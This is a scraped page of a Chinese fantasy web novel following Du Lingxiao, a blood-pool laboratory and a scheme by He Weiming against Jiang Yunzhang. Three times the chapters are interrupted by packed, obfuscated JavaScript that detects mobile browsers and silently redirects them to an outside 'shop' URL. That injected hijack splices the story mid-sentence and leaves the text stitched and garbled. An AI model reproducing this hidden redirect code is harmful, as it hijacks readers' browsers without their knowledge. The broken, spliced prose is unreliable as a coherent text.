他的目光如有实质，缓缓扫过三人，在没有受到任何束缚直言倾慕度邪大侠的江云章身上停顿了几秒，这才若无其事收回了目光看向凌霄。 聂雨林沉默不语，范千桑抬头望天，江云章强行忍住了自己向后退的冲动。 继讨厌的叶青山之后，竟然是完全不想见到的桃正谦登场。果然就算是平行世界这几个人还是会阴魂不散出现在杜凌霄的周围。对比之下衬托得自己越发心酸起来。 但严格来说，江云章完全不讨厌桃正谦。 因为对方无论是作为一个为人民服务的警察还是作为收养了李兰溪的养兄都无可指摘，甚至作为杜母杜飞光的后辈照料杜凌霄一事都滴水不漏，公私兼顾。 江云章很钦佩对方的为人，由于相同经历共感李兰溪之后也有些感激对方收养李兰溪的举动。桃正谦不像自己只能匿名用绘画挣钱捐赠，而是挺身而出承担起了李兰溪今后的未来，这让不想和陌生人相处的江云章非常佩服对方的责任感和正义感。在知晓李兰溪得到幸福家庭以后，他备受鼓舞又偷偷去捐了一笔钱，结果因为行动过于鬼鬼祟祟被养妹江云光发现，最后搭上了他们全家三兄妹的零花钱。 越是清楚地意识到桃正谦是一个真真正正彻头彻尾拥有优秀品性的好人，江云章就越是为自己嫉妒对方和杜凌霄的亲近关系而感到愧疚。 这种纠结造就的复杂情绪让江云章一点都不愿意和对方见面。 可是谁知道江云章逃过了现实世界里与刑警桃正谦见面商讨慰问□□受害者们的事件，依旧没能躲过玄一派庶务总管桃正谦。 “舞清和我都会监督这三人，肯定能给你少几件工作。” 凌霄心知对方主要还是关心度邪大侠的身体，才急忙亲自赶了过来。恐怕是和叶青山交流之时担心大师姐即便能抑制住纯粹的血咒，却不一定对梅花枝多有防备。只不过这份关心可能会招致的后果，导致了这位一贯以来行事谨慎的师弟绝不会将这份情绪透露分毫。牢牢守卫在师弟身份的坚固城池中。 只可惜无论是对关心同伴感官敏锐的度邪大侠，还是对经验丰富遍历众人的凌霄而言，都清清楚楚，一览无遗。 所以凌霄也和桃正谦一样，故意错开了正确答案。 桃正谦早在第一眼就从冯舞清的表情里最直观意识 23. 023 《杜凌霄，度恶诛邪》全本免费阅读 灵水教位于寿海的据点是依靠永江的一座庄园。 内部雕梁画栋，水榭亭台，布局精美，山水相应成趣，鲜花争相斗艳。除了不符合自然规律，在不属于自己的季节生机勃勃肆意生长的植物以外，任谁看来都是稀疏平常，精心打理的富家宅院。 不过杜凌霄而言，美丽的庭院更像是安静生长在尸山血海中的沙上楼阁，不过是虚假的幻想。从踏入正门起，几人就被一种前所未有的寂静所笼罩，鸟兽消音，鱼虫死绝，空气中只剩下水流缓慢流淌的汩汩之声，用以证实他们的听觉正常发挥着作用。 他们三人踏入庭院时，玄一派的弟子们已经动作迅速清理完了院子里残存的教徒，正在有序撤离。被主人惊醒打理的庭院只留下了轻微的打斗痕迹与零星飘散的落叶。精锐似乎确实尽数派去了袭击凌霄，否则对据点的清扫效率不会如此之高。 然而依旧有浓郁到挥散不尽的血腥气味萦绕在空气之中，将蜿蜒流淌的细流和盛着荷花的小池都变作了一潭死水。 杜凌霄的目光穿透层层波澜的池水，直射池底。淤积在水底深褐色的烂泥状不明物体哪里是淤泥，分明是反复堆叠糊成一团的血块。其中混杂有种类繁多不知名鱼类的尸体，化为单纯的血肉，与血水一起成为了池上荷花的营养。 枯荷烂叶之中仅存一朵荷花处于盛放之期，玫红色的花瓣根部带出细密的血丝，从原本清新淡雅的形象变得沉郁而妖异。似乎已经脱离了原本荷花的束缚，生长成为了无法归类的崭新物种。 大概是由于刘应水对实验环境的过高要求，导致这池鱼龙混杂混沌异常的水并没有散发出什么刺鼻难闻的味道。甚至若非感官灵敏之人，恐怕都无法在若有若无的花香之中察觉到被精心修饰掩藏起来的血腥。 江云章试图充分发挥自己的作用：“这是刘应水用人血和其余动物养出来的荷花，由于培养成本巨大，他只成功栽培出了一朵能够正常开花。其余还没有长出花苞就被血池里的东西分解干净了。再后来发现荷花只有净化血水一个作用，他就在明面上转移重心放弃研究了。现在看来应该是从此暗地里开始研究起梅花。” 江云章强行忍耐着不适感，站在离凌霄较近的地方直面池中的植物。拥有净化作用的荷花对他而言比梅花还要更加危险，身体本能在告诉他此地不宜久留。但他更不愿意像胆小鬼一般躲在凌霄身后。 凌霄皱起眉头，同样十分厌恶眼前的血池：“这水里气息冗杂，恐怕有数百人的血都不止。除此之外还有不少飞禽和鱼类，只剩下骸骨。” 本着交给叶青山留样研究的目的，她踏上荷叶，足尖轻点，身影便闪现到了池中央。以防万一，凌霄隔着手帕摘下了几片荷花花瓣，随后飘然回到了池边的地面上。将密密麻麻布满血丝的诡异荷花用手帕包好，她掏出从桃正谦手里拿到的药瓶，随后将其中药液倾尽倒入了池中。 药水的降临使得整个池塘立刻沸腾起来。好在凌霄早有预料，捡起地上的落叶飞速甩出。叶片锋利的边缘刺穿了玫红色的荷花，使得剩下的花瓣纷纷从花萼脱离，反常地沉入了水中。于是原本从池水深处蔓延而上的波动幅度大减，只有零星几个气泡在水面上炸出了鲜红诡异血花水。 叶青山的去血水到底是对这池血水作用有限，凌霄的尝试除了使得池中液体颜色开始动荡随后稍微变浅以外，并没有太大的改变。 “看来只能留给青山继续研究了。”凌霄轻轻摇了摇头。她并非全然束手无措，不过在彻底解决刘应水之前，她不会轻易使用自己的杀手锏。 “我倒是可以一试。”荷花消失后，江云章立即放松下来，对其中的液体不以为意，“我的血液能够吞掉这些东西。这是刘应水十几年来在我身上研究出来的成果，也是他之前处理废弃血液的方式。” 听到这样的秘辛，凌霄的表情也没有什么太大的变化：“我不是刘应水，所以不会把你当成处理危险废水的道具。” 凌霄从不会把希望单独放在某一个人身上：“如果你想帮忙的话，将血液样本交给青山加快研究速度便好。他能找到最合适的，能够普及的简单方法。” 凌霄语气里对叶青山的绝对信任使得江云章刚高兴了没一会儿就再次情绪低落下来。不过他已经习惯了自己出身导致的难以弥补的信任距离，并没有太过意外。 从踏进庭院起，冯舞清便像是被好友聂雨林同化了一般，变得沉默寡言，专心致志望着凌霄起来。 她被庭院里一片沉重污浊之色所恶心，徒劳无用闭上了自己的眼睑。意识到凌霄将血池的事情暂时放下，准备深入府邸。她才张口出声，言简意赅：“源头在西边的地下。” 江云章的感官远没有两人那么敏锐，因此在荷花消失之后，反而是脸色最为平常的人：“专门处理人血的地方在西边的地下室，可能有我并不清楚的暗门，供刘应水研究梅花。” 凌霄完全用不上旁人提醒，就已经依靠血腥味找到了正确的道路。负责处理灵水教教徒残余的玄一派弟子显然来不及搜查这类被精心藏在暗处的机密，书柜附近地下室的大门完好无损，严密而沉闷。 没有钥匙这种小事怎么也不可能拦得住度邪大侠。不过她在破门而入之前，还是考虑了一下冯舞清的情况：“如果你实在是不适，可以在门外等我们。” 冯舞清从来不可能惧怕血腥味，只是厌恶恶心纯粹的恶意和肮脏的物体。残留在灵水教据点的实验痕迹对敏锐的她而言一览无遗，所以也同样令人作呕。 但冯舞清怎么可能在这种情况下退却，若说是固执，她也能算得上一顶一：“多谢大师姐担心，我没事。” 她黯淡的眼睛几乎再没有从凌霄身上移开：“刚才的荷花只有一朵很容易辨别，但在杂乱的地下室还是有我在会效率更高。” 凌霄不再多问，抬脚踹开了大门。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12864725|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后顾之忧，只用解决刀赤城内部问题吧。” “嗯。”江云光轻轻点了点头，“凌霄你说得很对……我会继续努力的。” “你是不是不喜欢战斗？”凌霄扭头端详着她的表情。得到了一种迷茫。 当事人自己也无法判断自己对战斗究竟抱着何种心态：“我不知道。”她分外诚恳地说道：“只是除了战斗之外，我不清楚自己还能为刀赤城做些什么。” 江家在刀赤城的权势被江云光自动替换成了义务。所以她从年幼时起便扛起了自己的长剑，和同样怀着莫名愧疚之情的江云章一起在墨水区里奋斗。 事务繁忙的江非绝和江云天显然没有时间和精力分辨出江家最小的两位孩子到底是出于兴趣还是处于责任。只是将选择的自由给予了二人。 以江非绝和江云天的能力，江云光就算是躺平的二小姐，负责吃吃喝喝玩乐一生也完全没有问题。偏偏江家最小的女儿不仅继承了母亲的战斗天赋，还拥有一颗赤诚的心，抱着不能浪费天赋的念头硬生生将自己锻炼成为了一个战士。 恐怕被收养的江云章那边更是有过之而无不及。到头来可别升起什么自己不值得江家人为自己如此付出然后自杀的念头。 凌霄再次将自己的目光投向窗外。 江云光绝不是什么需要旁人细心安慰的性格。 所以下一秒她便一口气挥散了所有的负面情绪：“不对不对，我还要用自己的能力保护我哥呢！这次绝对不能让我哥出任何问题了！谁要江云章的命我就要谁的命。” 她握紧了拳头，闪闪发亮的红瞳之中燃烧着怒火：“江云章那个唯唯诺诺自怨自艾一天到晚一句话都说不出来的憋屈性格，还天天自责自己拖累刀赤城，积攒下来的功绩比工作了十几年的守卫都多，凭什么非要他这个什么都没有做错的家伙去死！？就算是舅舅我也绝不原谅！” 凌霄没忍住自己上扬的嘴角：“说得好。” 于是江云光终于意识到了自己激励自己的夸张发言全部被凌霄听了去。她有些机械地扭头，眼里浮上了几分可怜：“凌霄，你肯定不会告诉江云章我偷偷说了他坏话吧？” “当然不会了。”凌霄笑着向她保证，“我会帮你保守秘密的。” 反正江云光和江云章吵架的时候如何互相攻击，两个人估计都心知肚明。不用想都能猜到对方又说了什么坏话。 她突然意识到了一个有趣的细节，于是又抬手在江云光有些不情愿的表情下摸了摸对方的头。 现代社会的江云光根本不怕江云章胡思乱想，日常称呼养兄都是毫不客气直呼大名。刀赤城的江家人由于江云章的特殊身份产生了微妙的变化。为了让江云章更有归属感，江云光在面对他的时候，从来都是认认真真将哥哥二字完整出口，好来亲自肯定江云章的身份。 凌霄不得不承认：“云光真是个好妹妹。” 一脸雾水的江云光决定先认下再说：“我也觉得。” 71. 070 格挡前后排的隔音屏风亮起了红色的指示灯，于是江云光降下了屏风：“发生什么事了？” “云光大人，我在为杜大人办理申请手续的时候注意到了冯小姐也申请过相关文书。只是有人删除了她的相关记录，只留下了空白的批准单。”坐在前排的工作人员将自己的平板交到了江云光手中，供她查看，“她并没有走刀赤城的通道，所以我们先前没能及时得到消息。我刚才已经试着恢复了这条申请的记录。” 凌霄凑近了江云光，与她一同在发光的屏幕上看到了冯舞清的大名。其下的印章泛着翠绿的光彩，显然属于移翠城。 “她用移翠城的雨蝶调查换了通道进行申请。审核人员还是刘应水？”江云光皱着眉头点开负责人员的签名，看到了刘应水明显是精心设计的优雅字体，随后开始检查时间问题，“我们还没有离开刀赤城她就已经申请完拿到了通行证，还是为期一年的批准，怪不得她现在还能安安心心帮姐姐处理涤墨教的问题，原来是随时都能出发。” 检查人员接到任务以后开始排查近一段时间新的墨水五区申请和过往记录，没能预料到冯舞清提早半年前就已经更换渠道做好了准备，并且删除了相关记录。若非凌霄是在移翠城进行墨水五区通行证申请，恐怕工作人员还没有办法根据共通的能量来源顺藤摸瓜绕过移翠院的监测系统。 凌霄同样察觉到了问题：“等等，她若是以调查雨蝶为源头，那么我们在中部地区遇到的雨蝶和冯舞清有没有关系？” 江云光的反应同样不慢：“一定有所关联吧。而且舞清完全能用中部地区的雨蝶异常当做调查结论，从而得到整整一年的墨水五区通行证。后面的继续申请也能使用这个借口。” 江云光滑动屏幕调出了墨水区的地图：“移翠城与墨水区相邻的地方位于墨水六区，但由于刀赤城整个城池都在墨水区的范围内，导致刀赤城也是离墨水五区最近的城池。我们从移翠城与江云章汇合所需要的时间比舞清更长。” 为了让自己离海水区更远，江云章驻扎在了墨水五区的正中心，导致进入墨水五区后再去寻找他的路途相差无几。 凌霄观察着江云光在地图上划出来的路径，轻点石玄城的方位：“另一边也不能放松警惕。” 石玄城位于刀赤城的右边，与移翠城隔着墨水区遥遥相望。 “还是先行动起来再说吧。”江云光没有被突发情况所影响，“甄令满作为资深的墨水区仪器修理师，拥有墨水五区的通行证也不奇怪。他的战斗能力确实不错，但是续航能力不行，不算特别棘手。” 刘应水阵营的敌人熟悉江云章与江云光的能力，但江云光也同样熟悉他们的作风与战斗能力。 凌霄通讯器的屏幕也在此刻亮了起来。 结束了工作的席雪时终于注意到了凌霄的询问，给出了自己的见解：“我也觉得。甄令满有的时候像是变了一个人一样。聊起武器我们很有共同话题，其余时候他都是一副没有耐心勉强和我对话的模样，对生命摇篮的兴趣也是时有时无。因为太情绪化了拿不准他的状态，所以我现在都是等着他主动联系我，只有那时候我们才能围绕武器愉快聊天。” 魂书族的生育方式注定了魂书族不会有双胞胎多胞胎之类的情况。但一体双魂却并非没有可能性。在书页放入培养仓的一个月之内，如果不满意现在的发育趋势又或是临时后悔，生命摇篮会允许书页的主人取出培养仓内的书页。毕竟连销毁婴儿都能够做到，不过是阻止尚未完全成型的生命，魂书族并不认为这是一件十分严重的事情。 如果甄令满身上也发生了同样的情况，那么甄令潇的去向以及他和刘应水一方联络上的契机，便完全能够解释了。 倘若他想要为不存在的双胞胎妹妹制造一具容器，能够满足他欲望的想必只有移翠城那些精通于医学的科研人员。而刘应水可能会对他身上发生的事情感到好奇，从而答应他的请求。 凌霄没有向席雪时直言自己的推测。席雪时只是尽心尽力完成自己工作的石玄城人，没有必要将自己的好友牵扯进麻烦的事情之中。于是她和好友闲聊了几句，若无其事岔开了与甄令满相关的话题。而善解人意的席雪时也并没有多问，默认了凌霄的选择。 车辆很快就开到了移翠城城门的检测关口。这里的建筑风格与刀赤城的城门大同小异，除了用绿色的植物覆盖住了所有建筑之外，应有的高大威严和代表移翠城的纹样一个都不少。江云光交代了刀赤城工作人员几句后，便与两人一同下车，自己重新坐上了驾驶员的位置。 尽职尽责的移翠城工作人员在检查完相关手续没有问题后放行了这量车牌号明显来自于刀赤城的越野车。凌霄记得这是刀赤城与移翠城之间签署合作关系中的一项，两方均有在对方城池里专属的快速通道。毕竟，战斗力不如刀赤城人却同样与墨水区关系密集的移翠城需要大量战斗人员来维护自己的安全和应对危机状况。给予维护和平的刀赤城方便也是在给自己方便。 江云光叮嘱了凌霄一声算是让她做好心理准备，随后用力脚踩油门，伴随着引擎刺耳的轰鸣声，仗着自己对环境的熟悉以及周围没有生命，直接用最快的速度横冲直撞冲了出去。 凌霄牢牢抓着扶手才没让自己前倾撞上前排的椅背。好在她很快适应了江云光在危急时刻的开车风格，没有产生什么晕车的不适感。 江云光在嘈杂的风声中打开了和江冥蝉的通话频道，另一只手依旧抓着方向盘：“我会用上最快速度赶过去。” 她在导航上规划出来的路径直接是一条直线，绝不在最短途径中绕路。 江冥蝉此刻正坐在湖边慢条斯理钓鱼，将通讯器架在一边后还向江云光和凌霄展示了一番自己刚刚钓上来的墨兽。墨水区不存在任何水生动物，因此湖里面一般只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883041|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉入水中的墨兽或是血兽。由于血兽已经丧失了思考能力，它们在掉入湖中以后大部分没有办法靠自己的能力浮出水面脱离困境。 “我刚才还往水里埋了几个小型血兽。正好敌人一来就直接放它们上岸攻击。”江冥蝉对自己布置陷阱的天赋分外自信，于是镜头一转对上了唯一不怕血兽正在任劳任怨固定笼子的江云章。 “这还叫你布置的？”江云光提出了质疑。 “能者多劳。”江冥蝉淡然以对。 “明明是大少爷懒得下水。”江云章翻了个白眼。 “移翠人的眼瞳能够观察到能量走向，埋在水里的血兽能瞒过他们的感知吗？”凌霄的重点完全在陷阱的作用上。 “可以。”江冥蝉分外自信地解释道，“墨水五区的能量混乱程度就算是移翠人也没办法分辨出能量走向，甚至还会因为太过杂乱尽量避免过度使用自己的视觉。” “那确实是不错的陷阱。”凌霄给予了肯定。以他们四个人的身手，避开血兽横冲直撞基本没有思考的攻击可以说是轻而易举。 “杜小姐倒是比江云章有眼光多了。”江冥蝉感叹了一句，顺便把咬上自己鱼钩的野兔重新扔回了湖中。扑腾了几下的灰色兔子找到了平衡，飞快游到湖边后逃窜入了树林。 墨兽的特殊性让它们在水中也能够正常汲取能量生存，只不过由于并非水生生物不擅长游泳，小型墨兽经常会被水中的植物缠住四肢困在水中。 江云章懒得搭理非要将自己与凌霄作对比的表兄，在固定好笼子后便从湖中走了上来。戴在他手腕处的海晶石手环能量罩帮他隔绝了湖水，使得他即便半身入水身上也依旧保持了干燥，衣服并没有被湖水打湿。 “你们解决了几波人了？”江云光一边开车一边留意江家兄弟的情况。 “只来了一波。”江云章清理了自己鞋底的水草，“毕竟他们的行动还没有正式展开。倒是何伟铭一直在向我介绍自己的雄心壮志。” 他见凌霄已经凑到镜头边十分感兴趣的模样，于是掏出了自己的通讯器，找到了何副院长的讯息：“都是些冠冕堂皇的大话。什么人类文明的发展都维系在我的选择上了，什么我二十三年来的生命都是为了这一刻。什么我的母亲也一定希望我能够为研究做出自己的贡献之类的话。” 他随意划了几下屏幕，让镜头中的二人看到了对话框另一端密密麻麻的长篇大论。 江云光已经将车辆换成了自动驾驶模式，于是终于能将全部心神放在江家兄弟的情报上。 江冥蝉再次听到那些话，依旧忍不住哈哈大笑起来。使得握在他手中的鱼竿也一起震动，引得湖水荡起了波纹。 “我之前可从来不知道刘应水手下的副院长原来这么有趣，哈哈哈哈哈，真是百听不厌。”江冥蝉毫不掩饰自己语气中的嘲讽，“现在劝别人去死，都有这么文雅的说法了吗？” 72. 071 “道德绑架别人的时候倒是挺会说话，他怎么不直接用自己的性命为科学研究做贡献？”江云光冷笑一声。倒是显露出几分与江云天高调嘲讽旁人时的姿态。 “我们江家可不欠这个人任何东西。移翠院的研究资金也有我们家一份。” 江云章不是自己的同位体，自然丝毫没有受到何伟铭发言的任何影响。因此他一边点头赞同江云光的发言，一边在内心斥责意志力不坚定的同位体。以移翠院和何伟铭的野心，就算同位体如他们所愿自杀，也绝对无法改变任何事情，不过是白白牺牲，为他人的成果做嫁衣。 死亡解决不了任何事情。 “移翠院那边喜欢异想天开的倒还真是不少。实在不行赶紧让杜小姐那个叫叶青山的朋友篡位吧。”江冥蝉想要一劳永逸，“这几年他们正事一件没做，公布的研究结果和论文还都是叶青山的功劳。怪不得现在舆论和高层都偏向云苍城呢。不行就赶紧下台。我想清理垃圾已经想了很久了。” 凌霄对他们后续的内政安排并不感兴趣，只是拉开自己的通讯列表希望自己的朋友们能够盯紧何伟铭等人的行踪。以她对何伟铭为人的了解，那些发给江云章的长篇大论全部都是发自内心，这个眼里只有科学研究没有人性的家伙恐怕已经和刘应水一起下定决心，想要研究江云章的特殊体质和死亡方式了。 所谓的科学狂人骗过了所有人也骗过了自己，真情实意认为为了研究，就应该送从小看着长大的孩子去死。他对江云章的感情越是深厚，就越发觉得自己为了科学牺牲重大。 凌霄忍不住在心里嘲讽地笑了一声。牺牲别人的性命，功劳倒被算到何伟铭身上来了。还有藏在何伟铭身后的刘应水，从头到尾都是利用特殊体质的患者达成自己的目的，倒是装得十分想念梅凝海。两个道貌岸然的家伙怪不得能够凑到一起去。 越野车行驶入中部地区，随着健壮树木与满目绿意的加剧，江云光交给了凌霄一个新任务：“现在的地段有中型墨兽出没，容易影响到车辆的直线前进道路。如果感觉到有墨兽的气息靠近，记得拿书页武器驱赶。它们有时候会被加速前行的车辆吸引。” 凌霄当即召唤出了自己的长枪。墨水区的车辆限速是为了远离墨兽，这样基础的知识她在刀赤城的教学课程中早就已经背得滚瓜烂熟。 飞快从窗外后退的景色让人来不及欣赏便已经化作幻象消散，凌霄分神用长枪拦住了企图跟着车辆前行的野鹿，同时通过自己的通讯器随时监测移翠院一方的动向。 叶青山凭借着自己的优秀能力成功混入了何伟铭的团队。他们似乎一通胡乱分析后找到了叶青山与林语莲之间的某些共同点，于是出于无法拒绝下一个林语莲带来的好处，应允了叶青山的申请。倒是主事的何伟铭一直用一种遗憾的目光注视叶青山。 叶青山对旁人的情绪十分敏锐，自然不会忽视何副院长的情绪变化。他毫不犹豫将这些情报转头卖给了凌霄，并借着桃正谦的技术发掘到了何伟铭的真实意图。 凌霄先前的推测可谓是八九不离十。 这位自诩为了科学与真理献身的医生果真打着将江云章放入海水区的妄念，并借着墨水区的材料研究出了一套能够在环形光河中完美隔绝能量不受影响的系统，用来偷渡江云章。为了完成自己所谓的海树墨三者能量大结合，他假装自己是为了光河列车的稳定运行才研发出了新的技术，并将刀赤城与移翠院之间的光河列车作为实验，用上了他研究出来的系统。 可以说他们已经做好了接下来的所有准备，只是守株待兔等待着江云章进入人类活动区域。 刀赤城与移翠院之间的往来移动本就因为刀赤城调墨仪式增强了魂书族体质的原因，不经常出现海莫互斥现象。大部分人都能够安安全全经过候车室的事先能量检查。因此并没有人发觉这两个城池的能量系统已经静悄悄发生了转变。而用刀赤城不经常发生互斥现象的借口也能解释为何要更换此地的系统进行实验，毕竟这样一来出现问题的风险也更小更可控。 叶青山还在何伟铭的废弃计划中找到了江云章的解剖图。显然这是已经被他们放弃的计划，因为他们没有办法保证在江云章死亡之后究竟会发生哪些变化。如果他的残肢没有血液存在，那么将江云章提前杀死反而会导致功亏一篑。他们没有必要冒如此大的风险。 凌霄读着完全不把江云章当做一个人的实验计划，眉头立刻狠狠地皱了起来：“他们竟然考虑过把江云章分批次运往海水区的计划。” 正在警惕前方动向的江云光握紧了方向盘，有一瞬间开始怀疑自己的听觉：“是我想的那个分批次吗？” 她迅速听懂了凌霄的话中话。 凌霄沉重地点了点头：“比如说手臂扔在哪里之类的……” 这样完整的计划显示出了方案主人的曾经确实想要将其变为现实，也透露了他们的备选方案。 “我大概明白了何伟铭的打算。”凌霄将通讯器递给江云光，揉了揉自己的眉心，“先确认能否直接将江云章带往海水区，如果失败就直接在墨水区动手。触碰了海水之后很大概率根据他们的推测直接死亡，而剩下来的事情他们依旧可以继续研究。” 江云光猛地抬起了头。 “是的。如果剩下了什么东西，他们依旧能够抢夺之后投入海水区。” 魂书族人形幻化的衰败并没有那么迅速。在死亡七天之内都会保持着生前的姿态，只不过轮廓会一点点变淡，最终消失在空气之中，徒留下安静无息的魂书族本体。 如果死亡后的江云章能剩下人形幻象或是魂书本体，依旧是能够使用的上好素材。 凌霄的情绪起伏实际上并没有江云光那么剧烈。因为她早就已经知道了何伟铭和刘应水究竟是什么样的人，才能根据双方的思路顺利推测出他们的计划。考虑到这个平行世界何伟铭与林语莲年龄相近，凌霄甚至猜测这个没有人性的家伙将对林语莲的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897043|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫉妒转移到了江云章身上。 毕竟这个伪君子从来做不到林语莲那样真正为了研究能够付出一切代价。 刘应水隐藏在幕后可以等着事情结束再一块清算，但计划发起和执行人可就不能这么简单放过了。何伟铭既然这么想要研究血液的话，倒不如自己效仿一下林语莲，看看这种变化会不会出现在自己身上，也免去了找旁人研究的麻烦。 凌霄转眼便构思好了计划，在江云光面色阴沉与江云天互通消息的空隙，再次拿起了自己的通讯器。 “关于分批次的事情，还是等事情结束再告诉江云章吧。”江云光开口说道，“现在联络他们的话没办法避开江冥蝉，两个都是急性子，我有点担心他们情绪上头。” 她自然十分了解自己的两个哥哥，情绪稳定方面完全没办法和江家姐妹媲美。所以她能够立刻通知姐姐相关信息，却不敢保证两个哥哥听完以后在墨水五区保持镇静。毕竟何伟铭已经连江云章的尸体该怎么利用都考虑清楚了。 “当然。”凌霄理解江云光的顾虑，很放心将事情交给她和她姐姐安排，“我准备试一试能不能让何伟铭也进入墨水区腹地。” 她向着江云光摇了摇自己的通讯器：“等我的好消息吧。” ………… 叶青山聚精会神盯着电脑屏幕上的数据，甚至带上了移翠院发放的眼镜来隔绝移翠墨水对自己的视觉加持，用来屏蔽外界的声音。 坐在他另一边喝着咖啡悠闲翻看着报纸的中年男性一副神游天外的模样，随意应了一声工作人员的告别。清冷的办公室很快就只剩下他和正在勤勤恳恳工作的叶青山。于是他不经意开口说道：“小叶，别盯着屏幕了，你也来休息一下吧。” “谢谢，但不用了副院长。我还不累。”叶青山礼貌的拒绝道，并牢记凌霄给予自己的提示。他十分清楚自己的演技不行，因此需要用上自己正在研究过程中的资料来辅助自己的表演。他在看向数据室会下意识认真计算，从而流露出一派认真的模样。 凌霄告诉他这样可以糊弄心不在焉的何伟铭。所以他不敢懈怠，一边计算数据一边按照凌霄的吩咐进行回话。 “看着数据按照我计算的结果显示出来挺有成就感的。”叶青山解释道。 何伟铭勉强忽视了他之前的拒绝，认为他说得还算有道理。 叶青山像是想起了什么，随意说道：“可惜我的体质没办法去墨水区，不然我也能够亲眼见证实验的变化了。” 他这句抱怨由于演技很差听上去没什么感情起伏，但偏偏因为这样不走心的一句话，显得并不刻意，而是工作途中的一句无心之言。 只是说者无心听者有意。 “也不对。”叶青山又改变主意，亲口否认了自己的想法，“林语莲前辈都能够进入墨水五区研究，没有道理我做不到这件事情。” 他的眼睛牢牢盯着不断冒出数据的屏幕：“等研究结束我就去申请吧。” 73. 072 凌霄咬着能量药剂的瓶嘴，远程指点叶青山说些什么话能够激到何伟铭紧绷的神经。为了再推一把火，她甚至主动点开了与范千桑的聊天窗口，借由叶青山最近转组似乎快要升职的话题，兜兜转转绕到了林语莲身上。 她早就通过套话以及范千桑对她的“百依百顺”听到了不少范千桑单方面对移翠院内部的指责和迁怒。知晓叶青山这样一位优秀的人才搭上了何伟铭的路以后，嫉妒到心头火起的范千桑再也没有用移翠院实权来嘲讽叶青山的方式，因此没少在凌霄面前痛骂何伟铭做事极端，没有人性。 范千桑多少知道些内部消息，清楚林语莲曾是刘应水的得力助手，并且是江云章的生母。只是再多的往事都成了过往云烟，他便除了最基础的关系网之外不曾得知何伟铭与林语莲之间的权利斗争与能力差别。 “青山说每次提及林语莲，何副院长的表情都有些不自然。他们不会是有什么矛盾吧，也许我应该叮嘱青山在上司面前注意言行？” 凌霄面无表情在对话窗口中打上了这些文字，顺便切回屏幕告诉叶青山随便怎么说，每天提一次林语莲就好。务必要让何伟铭能够时时刻刻回忆起曾经压在自己身上的一座无法跨越的大山。 范千桑的回复很快就显示在了屏幕上。 “我只知道林语莲女士为移翠院的研究做出了很多贡献。”范千桑自然不可能告诉凌霄实际的关系网，“她和何副院长似乎是同一批加入的移翠院，也许是有些过往恩怨？” 虽然范千桑在句末打上了问号，但他的内心已经有了相应的判断。 “能和林语莲女士这样优秀的人才共同研究，何副院长当初一定受益良多吧。”凌霄微微勾起了嘴角，范千桑这个嗅觉敏锐的家伙可不会错过自己话中的关键。尤其是这个家伙对嫉妒的情绪更是了如指掌，可没有少仗着现在的人设心直口快，在凌霄面前大骂某个不能指名道姓的副院长道貌岸然。 而且由于几乎已经搁置了调查凌霄的任务，范千桑又被派遣去了别的工作。负面情绪大量堆积下他甚至还给冯舞清和刘应水两人编排了虚假身份，对着凌霄吐槽自己自私自利两面三刀的同事，和只会下命令不顾别人死活的上司。 “我想也是。”范千桑果然感应到了其中的关键信号，串联起了何伟铭平日里一些连自己都没能察觉到的行为细节。因为同样的事情如果放在他的身上，他只会疯狂嫉妒林语莲的才华和行动能力，包括林语莲创造出江云章的决心。 只不过他话语里仍然保持着冷静，还有心思讽刺何伟铭一句：“不过对比下来肯定就显得何副院长的功绩有些不够看了。” 凌霄淡定地加上了一把火：“确实。毕竟林语莲女士的研究论文和相关资料都成为了十分重要的成就，促成了不少研究的发展。就算是青山，到现在都还没能拿到观看林语莲女士研究的全部权限。” 她猜测通讯器另一边的范千桑脸上可能已经笑开花了。 因为最近心情不好的范千桑终于找到了完美的理由去恶心一番何伟铭。 正在兴头上的范千桑甚至都懒得找什么妥当的消失借口，直接告诉凌霄一句自己要回去工作改天再聊，几乎是立即抛开聊天界面，兴致勃勃去找何伟铭的麻烦了。 引得范千桑动手的凌霄深藏功与名，大致推算了一下范千桑与何伟铭之间的口头战斗力差别。确定了范千桑的全方位碾压之后，认为自己已经可以作壁上观，就等着何伟铭亲自走进自己为他构筑的墨水区陷阱里了。 被凌霄安排了任务的叶青山打起了十二分的精神，一心二用提前完成了自己的所有工作，随后装作正在认真检查的模样，一直兢兢业业为凌霄汇报着何伟铭的动态。 “一个我不认识的纯绿移翠院医生敲门过来找副院长了，路过我的时候好像还瞪了我一眼，我也没有招惹过他啊，我都不认识这个人。” 叶青山疑惑地打字。由于害怕自己漏过什么细节，所以将自己观察到的信息一股脑全部告诉了凌霄。 